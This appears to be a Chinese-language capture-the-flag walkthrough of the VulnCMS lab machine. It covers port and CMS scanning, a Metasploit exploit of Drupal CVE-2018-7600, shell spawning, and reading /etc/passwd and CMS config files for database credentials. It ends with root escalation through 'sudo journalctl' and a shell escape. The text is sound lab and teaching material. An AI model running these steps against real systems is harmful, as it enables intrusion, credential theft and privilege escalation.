靶机准备

导入虚拟机,并将网络模式设置为NAT



扫描ip

netdiscover -r 192.168.164.0/24

渗透测试

扫描端口

nmap -sS -sV -T5 -A -p- 192.168.164.191



其中有3个端口开放了http服务

依次访问80、8081、9001

其中80是w3.css 5000端口是WordPress 8081端口是Joomla 9001端口是drupal

cms版本扫描

1.wpscan --url http://192.168.164.191:5000/-e u
得知wordpress版本为5.7.2(这个前面nmap也扫出了)和用户名wordpress_admin
2.perl joomscan.pl --url http://192.168.164.191:8081/
得到joomla版本3.4.3
3.python3 cmsmap.py http://192.168.164.191:9001
得到drupal版本7.54



drupal 7.54有个RCE漏洞CVE-2018-7600



使用msf,可以成功获取到一个meterpreter

use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 192.168.164.191
set rport 9001
run



转换为交互式shell

python3 -c "import pty;pty.spawn('/bin/bash')"

不是root权限

提权

查看具备suid的有那些命令

find / -perm -u=s -type f 2>/dev/null



没有能直接用来提权的。

开放了22ssh端口,收集信息

cat /etc/passwd
ls -l /home



发现elliot、tyrell、ghost这三个普通用户

在/var/www/html/drupal/sites/default/settings.php找到到drupal配置文件,得到数据库用户名密码:drupal_admin/p@$$_C!rUP@!_cM5

在/var/www/html/joomla/configuration.php找到joomla配置信息,收集到数据库用户名:joomla_admin/j00m1_@_dBpA$$

在/var/www/html/wordpress/public_html/wp-config.php找到wordpress配置信息,收集到数据库用户名密码:wp_admin/UUs3R_C!B@p@55



这里我着这几个数据库都连接不上

再找有用的信息

在/drupal/misc/tyrell.passwenji文件中找到用户及密码tyrell/mR_R0bo7_i5_R3@!_



切换到用户



发现用户可以无密码执行root权限文件/bin/journalctl



获取root权限

sudo journalctl
!/bin/sh



到root目录下获得flag

VULNCMS的更多相关文章

  1. 2020 10月CUMTCTF wp

    华为杯 × 签到杯√ 论比赛过程来说没什么很大收获 但看师傅们的wp感触很多 赛后复现慢慢学吧 Web babyflask flask ssti模板注入: payload{{key}}发现[]以及类似 ...

随机推荐

  1. Solution -「洛谷 P4719」「模板」"动态 DP" & 动态树分治

    \(\mathcal{Description}\)   Link.   给定一棵 \(n\) 个结点的带权树,\(m\) 次单点点权修改,求出每次修改后的带权最大独立集.   \(n,m\le10^5 ...

  2. Solution -「多校联训」博弈

    \(\mathcal{Description}\)   Link.   A B 两人在树上博弈,初始时有一枚棋子在结点 \(1\).由 A 先操作,两人轮流移动沿树上路径棋子,且满足本次移动的树上距离 ...

  3. JVM基础学习(二):内存分配策略与垃圾收集技术

    Java与C++之间有一堵由内存动态分配和垃圾收集技术所围成的高墙,墙外面的人想进去,墙里面的人却想出来 垃圾收集概述 Java内存模型中的堆和方法区是垃圾收集技术所需要关注的终点,因为其他的区域会跟 ...

  4. ngixn隐藏版本号、指定404页面

    1.场景:部分系统服务器端返回的HTTP头中,泄露了服务器采用的中间件信息(类型,版本)nginx,apache,攻击者可以缩小攻击范围,针对中间件存在的漏洞发起攻击 修改:ngixn/bin/ngi ...

  5. python+pytest(2)-HTTP协议基础

    HTTP协议介绍 简介 HTTP 即 HyperText Transfer Protocol(超文本传输协议),是互联网上应用最为广泛的一种网络协议.所有的 WWW 文件都必须遵守这个标准. 设计 H ...

  6. 由浅入深--ORM简介

    一.ORM简介 从传统的JDBC开始说起 下面是通过JDBC连接Oracle的步骤,如下代码所示: Connection conn = null; PreparedStatement stmt = n ...

  7. 1.分类维护-通过Java8 Stream API 获取商品三级分类数据

    实体类 @Data @TableName("pms_category") public class CategoryEntity implements Serializable { ...

  8. linux中ctrl+c、ctrl+z、ctrl+d区别

    转至:https://www.cnblogs.com/jintaoblogs/p/11343623.html 一.ctrl-c 发送 SIGINT 信号(程序终止(interrupt)信号)给前台进程 ...

  9. 4.Profile(多环境配置)

    在实际的项目开发中,一个项目通常会存在多个环境,例如,开发环境.测试环境和生产环境等.不同环境的配置也不尽相同,例如开发环境使用的是开发数据库,测试环境使用的是测试数据库,而生产环境使用的是线上的正式 ...

  10. Leaflet:LayerGroup、FeatureGroup

    LayerGroup(Layer) Layer 用法:把一些Layer集中到一个组Group中,以便作为一个整体进行操作.如果把该Group加入到了Map中,任何从这个Group增加或者移除Layer ...